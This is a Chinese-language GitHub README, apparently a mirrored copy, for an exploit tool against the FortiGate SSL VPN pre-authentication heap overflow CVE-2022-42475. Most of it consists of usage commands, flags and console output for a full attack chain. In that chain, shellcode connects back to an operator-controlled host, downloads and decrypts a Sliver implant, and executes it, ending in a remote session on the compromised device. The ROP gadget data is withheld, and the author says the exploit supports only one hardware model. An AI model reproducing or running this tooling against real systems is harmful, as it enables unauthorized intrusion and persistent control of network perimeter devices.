0xhaggis/CVE-2022-42475
GitHub: 0xhaggis/CVE-2022-42475
针对 FortiGate SSL VPN 预认证堆溢出漏洞的利用工具,支持从漏洞检测到远程代码执行的完整攻击链
Stars: 36 | Forks: 2
# CVE-2022-42475
## 背景
这是博客文章的漏洞利用代码,文章地址:https://bishopfox.com/blog/exploit-cve-2022-42475
## 省略版本
这个版本的漏洞利用代码在你(黑客)不提供 ROP gadget 所需的内存地址等数据的情况下将无法工作。确定这些数据的工作属于 Bishop Fox 的机密和专有信息,我不会(也不能)将其与此漏洞利用代码一同发布。我相信你能理解!
## 操作模式
* 仅验证,不利用。判断是否存在漏洞。不发送载荷,不执行 Shellcode。
* __利用,但仅验证__。运行良性的回连“Ping” Shellcode,以验证目标是否可被利用。
* __利用并配合回连二进制加载器__。Shellcode 会回连到漏洞利用程序,下载一个加密的由操作者提供的二进制文件(通常是 [https://gitub.com/BishopFox/Sliver](Sliver)),解密该二进制文件,然后调用 `execve(binary_file)`。
**注意**:目前,“仅验证”模式适用于所有已知版本的 FortiOS。然而,漏洞利用_仅_适用于运行在 100D 硬件上的 FortiOS 6.0.4。我已不在 BF 工作,因此无法发布支持大约 18k 个目标的扩展利用程序。
## 依赖要求
* PyCrypto
* pycryptodome
```
pip3 install PyCrypto
pip3 install pycryptodome
```
## 仅验证
这不会尝试利用该漏洞,而是将其触发为一次崩溃(远程 SSL VPN 守护进程会立即自动重启)。崩溃通过启发式方法检测并报告给操作者。
使用 `-v` 验证标志运行:
```
$ ./x.py -t 192.168.0.10 -p 8443 -v
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE
```
## 利用,但仅验证(此功能目前仅适用于 100D 设备上的 FortiOS 6.0.4)
这将触发漏洞,部署 ROP 链,并跳转到 Shellcode。该 Shellcode 是良性的,其工作原理如下:
* 漏洞利用程序连接到目标并触发漏洞以执行 Shellcode
* Shellcode 回连到操作者的 IP:端口
* Shellcode 向漏洞利用程序发送单个“hello”字节:`0xbf`
* 漏洞利用程序向 Shellcode 传递一个小型的加密测试载荷(每次运行 AES 密钥都是随机的)
* Shellcode 解密载荷并将其保存到 FortiGate 设备上的 `/tmp/x`
* 如果载荷解密成功,Shellcode 向漏洞利用程序发送另一个单独的 `0xbf` 字节
* 漏洞利用程序读取该字节并确认代码执行。
标志:
```
-t target host/IP
-p target port
-e exploit mode
-c connect-back only mode
-H and -P operator's IP:port (required)
-s software version of FortiOS (required)
-m hardware model running FortiOS
-d turn on debugging
```
这是一个我们同时选择软件版本 `6.0.4` 和设备型号 `100D` 的示例:
```
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D 130 ⨯
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-] 6.0.4 [ 1 targets ] <=== 100D
[-] 5.2.14 [ 47 targets ]
[-] 5.6.9 [ 60 targets ]
[-] 6.0.13 [ 68 targets ]
[-] 6.0.14 [ 67 targets ]
[-] 6.0.15 [ 58 targets ]
[-] 6.0.8 [ 67 targets ]
[-] 6.2.11 [ 69 targets ]
[-] 6.2.7 [ 75 targets ]
[-] 6.4.10 [ 71 targets ]
[-] 6.4.2 [ 62 targets ]
[-] 6.4.3 [ 61 targets ]
[-] 6.4.6 [ 73 targets ]
[-] 6.4.9 [ 72 targets ]
[-] 7.0.4 [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!
```
如果你省略 `-m` 来选择硬件型号,漏洞利用程序将针对指定的软件版本暴力破解所有硬件目标。
## 全球热核战争
* 操作者指定 Sliver 植入二进制文件(基于 Linux)的位置
* 漏洞利用程序连接到目标并触发漏洞以执行 Shellcode
* Shellcode 回连到操作者的 IP:端口
* Shellcode 向漏洞利用程序发送单个“hello”字节:`0xbf`
* 漏洞利用程序加密 Sliver 二进制文件并将其发送给 Shellcode
* Shellcode 解密二进制文件并将其保存到 `/tmp/x`
* Shellcode 向漏洞利用程序发送“成功” `0xbf` 字节
* 漏洞利用程序读取该字节并确认代码执行
* Shellcode 调用 `execve("/tmp/x")`
* ???
* 获利!
标志:
```
-t target host/IP
-p target port
-e exploit mode
-f filename /path/to/binary/to/execve/on/target
-H and -P operator's IP:port for connect-back (required)
-s software version of FortiOS (required)
-m hardware model running FortiOS
-d turn on debugging
```
Sliver:
```
carl@pluto:~$ ./sliver-server_linux
.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'
All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options
[server] sliver > mtls -l 8888
[*] Starting mTLS listener ...
[*] Successfully started job #1
```
漏洞利用:
```
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D
--[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
--[ Bishop Fox Cosmos Team X ]--
[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.
```
回到 Sliver:
```
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST
[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad
[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)
[server] sliver (implant5) > whoami
Logon ID:
[server] sliver (implant5) > ls
/ (19 items, 10.0 KiB)
======================
-rw-r--r-- .ash_history 590 B Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x bin Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x data Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x data2 Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x dev Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx etc -> data/etc 8 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx fortidev -> / 1 B Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx init -> /sbin/init 10 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x lib Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx lib64 -> lib 3 B Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x migadmin Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x proc Tue Jan 31 05:23:13 +0000 2023
drwx------ root Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x sbin Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x security-rating Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x sys Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx tmp Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x usr Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x var Tue Jan 31 05:24:07 +0000 2023
```
请注意,Sliver 返回 `` 是因为 FortiOS 大致上算是 Linux,并不总是按你预期的方式工作。这是 FortiOS 的问题,而不是 Sliver 的问题。
## 更多版本即将推出
我已不在 Bishop Fox 工作,因此你需要关注 BF github 以获取此项目的更新。
标签:0day, CISA项目, CVE-2022-42475, Fortinet, FortiOS, IP 地址批量处理, Maven, PE 加载器, PoC, Python, RCE, ROP, Shellcode, Sliver, SSL VPN, XXE攻击, 堆损坏, 堆溢出, 技术调研, 无后门, 暴力破解, 漏洞验证, 缓冲区溢出, 编程工具, 网络安全, 边界突破, 远程代码执行, 逆向工具, 隐私保护, 预认证